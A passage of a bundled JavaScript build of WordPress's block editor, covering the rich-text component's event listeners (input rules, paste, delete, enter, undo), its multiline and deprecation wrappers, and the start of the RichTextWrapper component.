60465 type.__experimentalGetPropsForEditableTreePreparation(
60466 select,
60467 {
60468 richTextIdentifier: identifier,
60469 blockClientId: clientId
60470 }
60471 ),
60472 type.name
60473 )
60474 };
60475 }, {}),
60476 [formatTypes, clientId, identifier]
60477 );
60478 const dispatch = (0,external_wp_data_namespaceObject.useDispatch)();
60479 const prepareHandlers = [];
60480 const valueHandlers = [];
60481 const changeHandlers = [];
60482 const dependencies = [];
60483 for (const key in keyedSelected) {
60484 dependencies.push(keyedSelected[key]);
60485 }
60486 formatTypes.forEach((type) => {
60487 if (type.__experimentalCreatePrepareEditableTree) {
60488 const handler = type.__experimentalCreatePrepareEditableTree(
60489 getPrefixedSelectKeys(keyedSelected, type.name),
60490 {
60491 richTextIdentifier: identifier,
60492 blockClientId: clientId
60493 }
60494 );
60495 if (type.__experimentalCreateOnChangeEditableValue) {
60496 valueHandlers.push(handler);
60497 } else {
60498 prepareHandlers.push(handler);
60499 }
60500 }
60501 if (type.__experimentalCreateOnChangeEditableValue) {
60502 let dispatchers = {};
60503 if (type.__experimentalGetPropsForEditableTreeChangeHandler) {
60504 dispatchers = type.__experimentalGetPropsForEditableTreeChangeHandler(
60505 dispatch,
60506 {
60507 richTextIdentifier: identifier,
60508 blockClientId: clientId
60509 }
60510 );
60511 }
60512 const selected = getPrefixedSelectKeys(keyedSelected, type.name);
60513 changeHandlers.push(
60514 type.__experimentalCreateOnChangeEditableValue(
60515 {
60516 ...typeof selected === "object" ? selected : {},
60517 ...dispatchers
60518 },
60519 {
60520 richTextIdentifier: identifier,
60521 blockClientId: clientId
60522 }
60523 )
60524 );
60525 }
60526 });
60527 return {
60528 formatTypes,
60529 prepareHandlers,
60530 valueHandlers,
60531 changeHandlers,
60532 dependencies
60533 };
60534}
60535
60536
60537;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/event-listeners/before-input-rules.js
60538
60539
60540
60541const wrapSelectionSettings = ["`", '"', "'", "\u201C\u201D", "\u2018\u2019"];
60542var before_input_rules_default = (props) => (element) => {
60543 function onInput(event) {
60544 const { inputType, data } = event;
60545 const { value, onChange, registry } = props.current;
60546 if (inputType !== "insertText") {
60547 return;
60548 }
60549 if ((0,external_wp_richText_namespaceObject.isCollapsed)(value)) {
60550 return;
60551 }
60552 const pair = (0,external_wp_hooks_namespaceObject.applyFilters)(
60553 "blockEditor.wrapSelectionSettings",
60554 wrapSelectionSettings
60555 ).find(
60556 ([startChar2, endChar2]) => startChar2 === data || endChar2 === data
60557 );
60558 if (!pair) {
60559 return;
60560 }
60561 const [startChar, endChar = startChar] = pair;
60562 const start = value.start;
60563 const end = value.end + startChar.length;
60564 let newValue = (0,external_wp_richText_namespaceObject.insert)(value, startChar, start, start);
60565 newValue = (0,external_wp_richText_namespaceObject.insert)(newValue, endChar, end, end);
60566 const {
60567 __unstableMarkLastChangeAsPersistent,
60568 __unstableMarkAutomaticChange
60569 } = registry.dispatch(store);
60570 __unstableMarkLastChangeAsPersistent();
60571 onChange(newValue);
60572 __unstableMarkAutomaticChange();
60573 const init = {};
60574 for (const key in event) {
60575 init[key] = event[key];
60576 }
60577 init.data = endChar;
60578 const { ownerDocument } = element;
60579 const { defaultView } = ownerDocument;
60580 const newEvent = new defaultView.InputEvent("input", init);
60581 window.queueMicrotask(() => {
60582 event.target.dispatchEvent(newEvent);
60583 });
60584 event.preventDefault();
60585 }
60586 element.addEventListener("beforeinput", onInput);
60587 return () => {
60588 element.removeEventListener("beforeinput", onInput);
60589 };
60590};
60591
60592
60593;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/prevent-event-discovery.js
60594
60595function preventEventDiscovery(value) {
60596 const searchText = "tales of gutenberg";
60597 const addText = " \u{1F421}\u{1F422}\u{1F980}\u{1F424}\u{1F98B}\u{1F418}\u{1F427}\u{1F439}\u{1F981}\u{1F984}\u{1F98D}\u{1F43C}\u{1F43F}\u{1F383}\u{1F434}\u{1F41D}\u{1F406}\u{1F995}\u{1F994}\u{1F331}\u{1F347}\u03C0\u{1F34C}\u{1F409}\u{1F4A7}\u{1F968}\u{1F30C}\u{1F342}\u{1F360}\u{1F966}\u{1F95A}\u{1F95D}\u{1F39F}\u{1F965}\u{1F952}\u{1F6F5}\u{1F956}\u{1F352}\u{1F36F}\u{1F3BE}\u{1F3B2}\u{1F43A}\u{1F41A}\u{1F42E}\u231B\uFE0F";
60598 const { start, text } = value;
60599 if (start < searchText.length) {
60600 return value;
60601 }
60602 const charactersBefore = text.slice(start - searchText.length, start);
60603 if (charactersBefore.toLowerCase() !== searchText) {
60604 return value;
60605 }
60606 return (0,external_wp_richText_namespaceObject.insert)(value, addText);
60607}
60608
60609
60610;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/event-listeners/input-rules.js
60611
60612
60613
60614
60615
60616function findSelection(blocks) {
60617 let i = blocks.length;
60618 while (i--) {
60619 const attributeKey = retrieveSelectedAttribute(
60620 blocks[i].attributes
60621 );
60622 if (attributeKey) {
60623 blocks[i].attributes[attributeKey] = blocks[i].attributes[attributeKey].toString().replace(START_OF_SELECTED_AREA, "");
60624 return [blocks[i].clientId, attributeKey, 0, 0];
60625 }
60626 const nestedSelection = findSelection(blocks[i].innerBlocks);
60627 if (nestedSelection) {
60628 return nestedSelection;
60629 }
60630 }
60631 return [];
60632}
60633var input_rules_default = (props) => (element) => {
60634 function inputRule() {
60635 const { getValue, onReplace, selectionChange, registry } = props.current;
60636 if (!onReplace) {
60637 return;
60638 }
60639 const value = getValue();
60640 const { start, text } = value;
60641 const characterBefore = text.slice(start - 1, start);
60642 if (characterBefore !== " ") {
60643 return;
60644 }
60645 const trimmedTextBefore = text.slice(0, start).trim();
60646 const prefixTransforms = (0,external_wp_blocks_namespaceObject.getBlockTransforms)("from").filter(
60647 ({ type }) => type === "prefix"
60648 );
60649 const transformation = (0,external_wp_blocks_namespaceObject.findTransform)(
60650 prefixTransforms,
60651 ({ prefix }) => {
60652 return trimmedTextBefore === prefix;
60653 }
60654 );
60655 if (!transformation) {
60656 return;
60657 }
60658 const content = (0,external_wp_richText_namespaceObject.toHTMLString)({
60659 value: (0,external_wp_richText_namespaceObject.insert)(value, START_OF_SELECTED_AREA, 0, start)
60660 });
60661 const block = transformation.transform(content);
60662 selectionChange(...findSelection([block]));
60663 onReplace([block]);
60664 registry.dispatch(store).__unstableMarkAutomaticChange();
60665 return true;
60666 }
60667 function onInput(event) {
60668 const { inputType, type } = event;
60669 const {
60670 getValue,
60671 onChange,
60672 __unstableAllowPrefixTransformations,
60673 formatTypes,
60674 registry
60675 } = props.current;
60676 if (inputType !== "insertText" && type !== "compositionend") {
60677 return;
60678 }
60679 if (__unstableAllowPrefixTransformations && inputRule()) {
60680 return;
60681 }
60682 const value = getValue();
60683 const transformed = formatTypes.reduce(
60684 (accumulator, { __unstableInputRule }) => {
60685 if (__unstableInputRule) {
60686 accumulator = __unstableInputRule(accumulator);
60687 }
60688 return accumulator;
60689 },
60690 preventEventDiscovery(value)
60691 );
60692 const {
60693 __unstableMarkLastChangeAsPersistent,
60694 __unstableMarkAutomaticChange
60695 } = registry.dispatch(store);
60696 if (transformed !== value) {
60697 __unstableMarkLastChangeAsPersistent();
60698 onChange({
60699 ...transformed,
60700 activeFormats: value.activeFormats
60701 });
60702 __unstableMarkAutomaticChange();
60703 }
60704 }
60705 element.addEventListener("input", onInput);
60706 element.addEventListener("compositionend", onInput);
60707 return () => {
60708 element.removeEventListener("input", onInput);
60709 element.removeEventListener("compositionend", onInput);
60710 };
60711};
60712
60713
60714;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/event-listeners/insert-replacement-text.js
60715
60716var insert_replacement_text_default = (props) => (element) => {
60717 function onInput(event) {
60718 if (event.inputType !== "insertReplacementText") {
60719 return;
60720 }
60721 const { registry } = props.current;
60722 registry.dispatch(store).__unstableMarkLastChangeAsPersistent();
60723 }
60724 element.addEventListener("beforeinput", onInput);
60725 return () => {
60726 element.removeEventListener("beforeinput", onInput);
60727 };
60728};
60729
60730
60731;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/event-listeners/remove-browser-shortcuts.js
60732
60733var remove_browser_shortcuts_default = () => (node) => {
60734 function onKeydown(event) {
60735 if (external_wp_keycodes_namespaceObject.isKeyboardEvent.primary(event, "z") || external_wp_keycodes_namespaceObject.isKeyboardEvent.primary(event, "y") || external_wp_keycodes_namespaceObject.isKeyboardEvent.primaryShift(event, "z")) {
60736 event.preventDefault();
60737 }
60738 }
60739 node.addEventListener("keydown", onKeydown);
60740 return () => {
60741 node.removeEventListener("keydown", onKeydown);
60742 };
60743};
60744
60745
60746;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/event-listeners/shortcuts.js
60747var shortcuts_default = (props) => (element) => {
60748 const { keyboardShortcuts } = props.current;
60749 function onKeyDown(event) {
60750 for (const keyboardShortcut of keyboardShortcuts.current) {
60751 keyboardShortcut(event);
60752 }
60753 }
60754 element.addEventListener("keydown", onKeyDown);
60755 return () => {
60756 element.removeEventListener("keydown", onKeyDown);
60757 };
60758};
60759
60760
60761;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/event-listeners/input-events.js
60762var input_events_default = (props) => (element) => {
60763 const { inputEvents } = props.current;
60764 function onInput(event) {
60765 for (const keyboardShortcut of inputEvents.current) {
60766 keyboardShortcut(event);
60767 }
60768 }
60769 element.addEventListener("input", onInput);
60770 return () => {
60771 element.removeEventListener("input", onInput);
60772 };
60773};
60774
60775
60776;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/event-listeners/undo-automatic-change.js
60777
60778
60779var undo_automatic_change_default = (props) => (element) => {
60780 function onKeyDown(event) {
60781 const { keyCode } = event;
60782 if (event.defaultPrevented) {
60783 return;
60784 }
60785 if (keyCode !== external_wp_keycodes_namespaceObject.BACKSPACE && keyCode !== external_wp_keycodes_namespaceObject.ESCAPE) {
60786 return;
60787 }
60788 const { registry } = props.current;
60789 const { didAutomaticChange, getSettings } = registry.select(store);
60790 const { __experimentalUndo } = getSettings();
60791 if (!__experimentalUndo) {
60792 return;
60793 }
60794 if (!didAutomaticChange()) {
60795 return;
60796 }
60797 event.preventDefault();
60798 __experimentalUndo();
60799 }
60800 element.addEventListener("keydown", onKeyDown);
60801 return () => {
60802 element.removeEventListener("keydown", onKeyDown);
60803 };
60804};
60805
60806
60807;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/utils.js
60808
60809
60810
60811function addActiveFormats(value, activeFormats) {
60812 if (activeFormats?.length) {
60813 let index = value.formats.length;
60814 while (index--) {
60815 value.formats[index] = [
60816 ...activeFormats,
60817 ...value.formats[index] || []
60818 ];
60819 }
60820 }
60821}
60822function getMultilineTag(multiline) {
60823 if (multiline !== true && multiline !== "p" && multiline !== "li") {
60824 return;
60825 }
60826 return multiline === true ? "p" : multiline;
60827}
60828function getAllowedFormats({ allowedFormats, disableFormats }) {
60829 if (disableFormats) {
60830 return getAllowedFormats.EMPTY_ARRAY;
60831 }
60832 return allowedFormats;
60833}
60834getAllowedFormats.EMPTY_ARRAY = [];
60835function createLinkInParagraph(url, onReplace) {
60836 const link = /* @__PURE__ */ jsx("a", { href: url, children: url });
60837 onReplace(
60838 createBlock("core/paragraph", { content: renderToString(link) })
60839 );
60840}
60841
60842
60843;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/event-listeners/paste-handler.js
60844
60845
60846
60847
60848
60849var paste_handler_default = (props) => (element) => {
60850 function _onPaste(event) {
60851 const {
60852 disableFormats,
60853 onChange,
60854 value,
60855 formatTypes,
60856 tagName,
60857 onReplace,
60858 __unstableEmbedURLOnPaste,
60859 preserveWhiteSpace,
60860 pastePlainText
60861 } = props.current;
60862 if (!element.contains(event.target)) {
60863 return;
60864 }
60865 if (event.defaultPrevented) {
60866 return;
60867 }
60868 const { plainText, html } = getPasteEventData(event);
60869 event.preventDefault();
60870 window.console.log("Received HTML:\n\n", html);
60871 window.console.log("Received plain text:\n\n", plainText);
60872 if (disableFormats) {
60873 onChange((0,external_wp_richText_namespaceObject.insert)(value, plainText));
60874 return;
60875 }
60876 const isInternal = event.clipboardData.getData("rich-text") === "true";
60877 function pasteInline(content2) {
60878 const transformed = formatTypes.reduce(
60879 (accumulator, { __unstablePasteRule }) => {
60880 if (__unstablePasteRule && accumulator === value) {
60881 accumulator = __unstablePasteRule(value, {
60882 html,
60883 plainText
60884 });
60885 }
60886 return accumulator;
60887 },
60888 value
60889 );
60890 if (transformed !== value) {
60891 onChange(transformed);
60892 } else {
60893 const valueToInsert = (0,external_wp_richText_namespaceObject.create)({ html: content2 });
60894 addActiveFormats(valueToInsert, value.activeFormats);
60895 onChange((0,external_wp_richText_namespaceObject.insert)(value, valueToInsert));
60896 }
60897 }
60898 if (isInternal) {
60899 pasteInline(html);
60900 return;
60901 }
60902 if (pastePlainText) {
60903 onChange((0,external_wp_richText_namespaceObject.insert)(value, (0,external_wp_richText_namespaceObject.create)({ text: plainText })));
60904 return;
60905 }
60906 let mode = "INLINE";
60907 const trimmedPlainText = plainText.trim();
60908 if (__unstableEmbedURLOnPaste && (0,external_wp_richText_namespaceObject.isEmpty)(value) && (0,external_wp_url_namespaceObject.isURL)(trimmedPlainText) && // For the link pasting feature, allow only http(s) protocols.
60909 /^https?:/.test(trimmedPlainText)) {
60910 mode = "BLOCKS";
60911 }
60912 const content = (0,external_wp_blocks_namespaceObject.pasteHandler)({
60913 HTML: html,
60914 plainText,
60915 mode,
60916 tagName,
60917 preserveWhiteSpace
60918 });
60919 if (typeof content === "string") {
60920 pasteInline(content);
60921 } else if (content.length > 0) {
60922 if (onReplace && (0,external_wp_richText_namespaceObject.isEmpty)(value)) {
60923 onReplace(content, content.length - 1, -1);
60924 }
60925 }
60926 }
60927 const { defaultView } = element.ownerDocument;
60928 defaultView.addEventListener("paste", _onPaste);
60929 return () => {
60930 defaultView.removeEventListener("paste", _onPaste);
60931 };
60932};
60933
60934
60935;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/event-listeners/delete.js
60936
60937
60938var delete_default = (props) => (element) => {
60939 function onKeyDown(event) {
60940 const { keyCode } = event;
60941 if (event.defaultPrevented) {
60942 return;
60943 }
60944 const { value, onMerge, onRemove } = props.current;
60945 if (keyCode === external_wp_keycodes_namespaceObject.DELETE || keyCode === external_wp_keycodes_namespaceObject.BACKSPACE) {
60946 const { start, end, text } = value;
60947 const isReverse = keyCode === external_wp_keycodes_namespaceObject.BACKSPACE;
60948 const hasActiveFormats = value.activeFormats && !!value.activeFormats.length;
60949 if (!(0,external_wp_richText_namespaceObject.isCollapsed)(value) || hasActiveFormats || isReverse && start !== 0 || !isReverse && end !== text.length) {
60950 return;
60951 }
60952 if (onMerge) {
60953 onMerge(!isReverse);
60954 } else if (onRemove && (0,external_wp_richText_namespaceObject.isEmpty)(value) && isReverse) {
60955 onRemove(!isReverse);
60956 }
60957 event.preventDefault();
60958 }
60959 }
60960 element.addEventListener("keydown", onKeyDown);
60961 return () => {
60962 element.removeEventListener("keydown", onKeyDown);
60963 };
60964};
60965
60966
60967;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/event-listeners/enter.js
60968
60969
60970var enter_default = (props) => (element) => {
60971 function onKeyDownDeprecated(event) {
60972 if (event.keyCode !== external_wp_keycodes_namespaceObject.ENTER) {
60973 return;
60974 }
60975 const { onReplace, onSplit } = props.current;
60976 if (onReplace && onSplit) {
60977 event.__deprecatedOnSplit = true;
60978 }
60979 }
60980 function onKeyDown(event) {
60981 if (event.defaultPrevented) {
60982 return;
60983 }
60984 if (event.target !== element) {
60985 return;
60986 }
60987 if (event.keyCode !== external_wp_keycodes_namespaceObject.ENTER) {
60988 return;
60989 }
60990 const {
60991 value,
60992 onChange,
60993 disableLineBreaks,
60994 onSplitAtEnd,
60995 onSplitAtDoubleLineEnd,
60996 registry
60997 } = props.current;
60998 event.preventDefault();
60999 const { text, start, end } = value;
61000 if (event.shiftKey) {
61001 if (!disableLineBreaks) {
61002 onChange((0,external_wp_richText_namespaceObject.insert)(value, "\n"));
61003 }
61004 } else if (onSplitAtEnd && start === end && end === text.length) {
61005 onSplitAtEnd();
61006 } else if (
61007 // For some blocks it's desirable to split at the end of the
61008 // block when there are two line breaks at the end of the
61009 // block, so triple Enter exits the block.
61010 onSplitAtDoubleLineEnd && start === end && end === text.length && text.slice(-2) === "\n\n"
61011 ) {
61012 registry.batch(() => {
61013 const _value = { ...value };
61014 _value.start = _value.end - 2;
61015 onChange((0,external_wp_richText_namespaceObject.remove)(_value));
61016 onSplitAtDoubleLineEnd();
61017 });
61018 } else if (!disableLineBreaks) {
61019 onChange((0,external_wp_richText_namespaceObject.insert)(value, "\n"));
61020 }
61021 }
61022 const { defaultView } = element.ownerDocument;
61023 defaultView.addEventListener("keydown", onKeyDown);
61024 element.addEventListener("keydown", onKeyDownDeprecated);
61025 return () => {
61026 defaultView.removeEventListener("keydown", onKeyDown);
61027 element.removeEventListener("keydown", onKeyDownDeprecated);
61028 };
61029};
61030
61031
61032;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/event-listeners/firefox-compat.js
61033
61034var firefox_compat_default = (props) => (element) => {
61035 function onFocus() {
61036 const { registry } = props.current;
61037 if (!registry.select(store).isMultiSelecting()) {
61038 return;
61039 }
61040 const parentEditable = element.parentElement.closest(
61041 '[contenteditable="true"]'
61042 );
61043 if (parentEditable) {
61044 parentEditable.focus();
61045 }
61046 }
61047 element.addEventListener("focus", onFocus);
61048 return () => {
61049 element.removeEventListener("focus", onFocus);
61050 };
61051};
61052
61053
61054;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/event-listeners/index.js
61055
61056
61057
61058
61059
61060
61061
61062
61063
61064
61065
61066
61067
61068const allEventListeners = [
61069 before_input_rules_default,
61070 input_rules_default,
61071 insert_replacement_text_default,
61072 remove_browser_shortcuts_default,
61073 shortcuts_default,
61074 input_events_default,
61075 undo_automatic_change_default,
61076 paste_handler_default,
61077 delete_default,
61078 enter_default,
61079 firefox_compat_default
61080];
61081function useEventListeners(props) {
61082 const propsRef = (0,external_wp_element_namespaceObject.useRef)(props);
61083 (0,external_wp_element_namespaceObject.useInsertionEffect)(() => {
61084 propsRef.current = props;
61085 });
61086 const refEffects = (0,external_wp_element_namespaceObject.useMemo)(
61087 () => allEventListeners.map((refEffect) => refEffect(propsRef)),
61088 [propsRef]
61089 );
61090 return (0,external_wp_compose_namespaceObject.useRefEffect)(
61091 (element) => {
61092 if (!props.isSelected) {
61093 return;
61094 }
61095 const cleanups = refEffects.map((effect) => effect(element));
61096 return () => {
61097 cleanups.forEach((cleanup) => cleanup());
61098 };
61099 },
61100 [refEffects, props.isSelected]
61101 );
61102}
61103
61104
61105;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/format-edit.js
61106
61107
61108
61109
61110
61111const format_edit_DEFAULT_BLOCK_CONTEXT = {};
61112const usesContextKey = Symbol("usesContext");
61113function format_edit_Edit({ onChange, onFocus, value, forwardedRef, settings }) {
61114 const {
61115 name,
61116 edit: EditFunction,
61117 [usesContextKey]: usesContext
61118 } = settings;
61119 const blockContext = (0,external_wp_element_namespaceObject.useContext)(block_context_default);
61120 const context = (0,external_wp_element_namespaceObject.useMemo)(() => {
61121 return usesContext ? Object.fromEntries(
61122 Object.entries(blockContext).filter(
61123 ([key]) => usesContext.includes(key)
61124 )
61125 ) : format_edit_DEFAULT_BLOCK_CONTEXT;
61126 }, [usesContext, blockContext]);
61127 if (!EditFunction) {
61128 return null;
61129 }
61130 const activeFormat = (0,external_wp_richText_namespaceObject.getActiveFormat)(value, name);
61131 const isActive = activeFormat !== void 0;
61132 const activeObject = (0,external_wp_richText_namespaceObject.getActiveObject)(value);
61133 const isObjectActive = activeObject !== void 0 && activeObject.type === name;
61134 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
61135 EditFunction,
61136 {
61137 isActive,
61138 activeAttributes: isActive ? activeFormat.attributes || {} : {},
61139 isObjectActive,
61140 activeObjectAttributes: isObjectActive ? activeObject.attributes || {} : {},
61141 value,
61142 onChange,
61143 onFocus,
61144 contentRef: forwardedRef,
61145 context
61146 },
61147 name
61148 );
61149}
61150function FormatEdit({ formatTypes, ...props }) {
61151 return formatTypes.map((settings) => /* @__PURE__ */ (0,external_React_.createElement)(format_edit_Edit, { settings, ...props, key: settings.name }));
61152}
61153
61154
61155;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/content.js
61156
61157
61158
61159
61160
61161
61162function valueToHTMLString(value, multiline) {
61163 if (rich_text_default.isEmpty(value)) {
61164 const multilineTag = getMultilineTag(multiline);
61165 return multilineTag ? `<${multilineTag}></${multilineTag}>` : "";
61166 }
61167 if (Array.isArray(value)) {
61168 external_wp_deprecated_default()("wp.blockEditor.RichText value prop as children type", {
61169 since: "6.1",
61170 version: "6.3",
61171 alternative: "value prop as string",
61172 link: "https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"
61173 });
61174 return external_wp_blocks_namespaceObject.children.toHTML(value);
61175 }
61176 if (typeof value === "string") {
61177 return value;
61178 }
61179 return value.toHTMLString();
61180}
61181function Content({
61182 value,
61183 tagName: Tag,
61184 multiline,
61185 format,
61186 ...props
61187}) {
61188 value = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: valueToHTMLString(value, multiline) });
61189 return Tag ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...props, children: value }) : value;
61190}
61191
61192
61193;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/multiline.js
61194
61195
61196
61197
61198
61199
61200
61201
61202
61203
61204function RichTextMultiline({
61205 children,
61206 identifier,
61207 tagName: TagName = "div",
61208 value = "",
61209 onChange,
61210 multiline,
61211 ...props
61212}, forwardedRef) {
61213 external_wp_deprecated_default()("wp.blockEditor.RichText multiline prop", {
61214 since: "6.1",
61215 version: "6.3",
61216 alternative: "nested blocks (InnerBlocks)",
61217 link: "https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/nested-blocks-inner-blocks/"
61218 });
61219 const { clientId } = useBlockEditContext();
61220 const { getSelectionStart, getSelectionEnd } = (0,external_wp_data_namespaceObject.useSelect)(store);
61221 const { selectionChange } = (0,external_wp_data_namespaceObject.useDispatch)(store);
61222 const multilineTagName = getMultilineTag(multiline);
61223 value = value || `<${multilineTagName}></${multilineTagName}>`;
61224 const padded = `</${multilineTagName}>${value}<${multilineTagName}>`;
61225 const values = padded.split(
61226 `</${multilineTagName}><${multilineTagName}>`
61227 );
61228 values.shift();
61229 values.pop();
61230 function _onChange(newValues) {
61231 onChange(
61232 `<${multilineTagName}>${newValues.join(
61233 `</${multilineTagName}><${multilineTagName}>`
61234 )}</${multilineTagName}>`
61235 );
61236 }
61237 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ref: forwardedRef, children: values.map((_value, index) => {
61238 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
61239 RichTextWrapper,
61240 {
61241 identifier: `${identifier}-${index}`,
61242 tagName: multilineTagName,
61243 value: _value,
61244 onChange: (newValue) => {
61245 const newValues = values.slice();
61246 newValues[index] = newValue;
61247 _onChange(newValues);
61248 },
61249 isSelected: void 0,
61250 onKeyDown: (event) => {
61251 if (event.keyCode !== external_wp_keycodes_namespaceObject.ENTER) {
61252 return;
61253 }
61254 event.preventDefault();
61255 const { offset: start } = getSelectionStart();
61256 const { offset: end } = getSelectionEnd();
61257 if (typeof start !== "number" || typeof end !== "number") {
61258 return;
61259 }
61260 const richTextValue = (0,external_wp_richText_namespaceObject.create)({ html: _value });
61261 richTextValue.start = start;
61262 richTextValue.end = end;
61263 const array = (0,external_wp_richText_namespaceObject.split)(richTextValue).map(
61264 (v) => (0,external_wp_richText_namespaceObject.toHTMLString)({ value: v })
61265 );
61266 const newValues = values.slice();
61267 newValues.splice(index, 1, ...array);
61268 _onChange(newValues);
61269 selectionChange(
61270 clientId,
61271 `${identifier}-${index + 1}`,
61272 0,
61273 0
61274 );
61275 },
61276 onMerge: (forward) => {
61277 const newValues = values.slice();
61278 let offset = 0;
61279 if (forward) {
61280 if (!newValues[index + 1]) {
61281 return;
61282 }
61283 newValues.splice(
61284 index,
61285 2,
61286 newValues[index] + newValues[index + 1]
61287 );
61288 offset = newValues[index].length - 1;
61289 } else {
61290 if (!newValues[index - 1]) {
61291 return;
61292 }
61293 newValues.splice(
61294 index - 1,
61295 2,
61296 newValues[index - 1] + newValues[index]
61297 );
61298 offset = newValues[index - 1].length - 1;
61299 }
61300 _onChange(newValues);
61301 selectionChange(
61302 clientId,
61303 `${identifier}-${index - (forward ? 0 : 1)}`,
61304 offset,
61305 offset
61306 );
61307 },
61308 ...props
61309 },
61310 index
61311 );
61312 }) });
61313}
61314var multiline_default = (0,external_wp_element_namespaceObject.forwardRef)(RichTextMultiline);
61315
61316
61317;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/with-deprecations.js
61318
61319
61320
61321
61322
61323
61324function withDeprecations(Component) {
61325 return (0,external_wp_element_namespaceObject.forwardRef)((props, ref) => {
61326 let value = props.value;
61327 let onChange = props.onChange;
61328 if (Array.isArray(value)) {
61329 external_wp_deprecated_default()("wp.blockEditor.RichText value prop as children type", {
61330 since: "6.1",
61331 version: "6.3",
61332 alternative: "value prop as string",
61333 link: "https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"
61334 });
61335 value = external_wp_blocks_namespaceObject.children.toHTML(props.value);
61336 onChange = (newValue) => props.onChange(
61337 external_wp_blocks_namespaceObject.children.fromDOM(
61338 (0,external_wp_richText_namespaceObject.__unstableCreateElement)(document, newValue).childNodes
61339 )
61340 );
61341 }
61342 const NewComponent = props.multiline ? multiline_default : Component;
61343 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
61344 NewComponent,
61345 {
61346 ...props,
61347 value,
61348 onChange,
61349 ref
61350 }
61351 );
61352 });
61353}
61354
61355
61356;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/index.js
61357
61358
61359
61360
61361
61362
61363
61364
61365
61366
61367
61368
61369
61370
61371
61372
61373
61374
61375
61376
61377
61378
61379
61380
61381
61382const keyboardShortcutContext = (0,external_wp_element_namespaceObject.createContext)();
61383keyboardShortcutContext.displayName = "keyboardShortcutContext";
61384const inputEventContext = (0,external_wp_element_namespaceObject.createContext)();
61385inputEventContext.displayName = "inputEventContext";
61386const instanceIdKey = Symbol("instanceId");
61387function removeNativeProps(props) {
61388 const {
61389 __unstableMobileNoFocusOnMount,
61390 deleteEnter,
61391 placeholderTextColor,
61392 textAlign,
61393 selectionColor,
61394 tagsToEliminate,
61395 disableEditingMenu,
61396 fontSize,
61397 fontFamily,
61398 fontWeight,
61399 fontStyle,
61400 minWidth,
61401 maxWidth,
61402 disableSuggestions,
61403 disableAutocorrection,
61404 ...restProps
61405 } = props;
61406 return restProps;
61407}
61408function RichTextWrapper({
61409 children,
61410 tagName = "div",
61411 value: adjustedValue = "",
61412 onChange: adjustedOnChange,
61413 isSelected: originalIsSelected,
61414 multiline,
61415 inlineToolbar,
61416 wrapperClassName,
61417 autocompleters,
61418 onReplace,
61419 placeholder,
61420 allowedFormats,
61421 withoutInteractiveFormatting,
61422 onRemove,
61423 onMerge,
61424 onSplit,
61425 __unstableOnSplitAtEnd: onSplitAtEnd,
61426 __unstableOnSplitAtDoubleLineEnd: onSplitAtDoubleLineEnd,
61427 identifier,
61428 preserveWhiteSpace,
61429 __unstablePastePlainText: pastePlainText,
61430 __unstableEmbedURLOnPaste,
61431 __unstableDisableFormats: disableFormats,
61432 disableLineBreaks,
61433 __unstableAllowPrefixTransformations,
61434 readOnly,
61435 ...props
61436}, forwardedRef) {
61437 props = removeNativeProps(props);
61438 if (onSplit) {
61439 external_wp_deprecated_default()("wp.blockEditor.RichText onSplit prop", {
61440 since: "6.4",
61441 alternative: 'block.json support key: "splitting"'
61442 });
61443 }
61444 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(RichTextWrapper);
61445 const anchorRef = (0,external_wp_element_namespaceObject.useRef)();
61446 const context = useBlockEditContext();
61447 const { clientId, isSelected: isBlockSelected } = context;
61448 const blockBindings = context[blockBindingsKey];
61449 const blockContext = (0,external_wp_element_namespaceObject.useContext)(block_context_default);
61450 const { bindableAttributes } = (0,external_wp_element_namespaceObject.useContext)(PrivateBlockContext);
61451 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
61452 const selector = (select) => {
61453 if (!isBlockSelected) {
61454 return { isSelected: false };
61455 }
61456 const { getSelectionStart: getSelectionStart2, getSelectionEnd: getSelectionEnd2 } = select(store);
61457 const selectionStart2 = getSelectionStart2();
61458 const selectionEnd2 = getSelectionEnd2();
61459 let isSelected2;
61460 if (originalIsSelected === void 0) {
61461 isSelected2 = selectionStart2.clientId === clientId && selectionEnd2.clientId === clientId && (identifier ? selectionStart2.attributeKey === identifier : selectionStart2[instanceIdKey] === instanceId);
61462 } else if (originalIsSelected) {
61463 isSelected2 = selectionStart2.clientId === clientId;
61464 }
61465 return {
61466 selectionStart: isSelected2 ? selectionStart2.offset : void 0,
61467 selectionEnd: isSelected2 ? selectionEnd2.offset : void 0,
61468 isSelected: isSelected2
61469 };
61470 };
61471 const { selectionStart, selectionEnd, isSelected } = (0,external_wp_data_namespaceObject.useSelect)(selector, [
61472 clientId,
61473 identifier,
61474 instanceId,
61475 originalIsSelected,
61476 isBlockSelected
61477 ]);
61478 const { disableBoundBlock, bindingsPlaceholder, bindingsLabel } = (0,external_wp_data_namespaceObject.useSelect)(
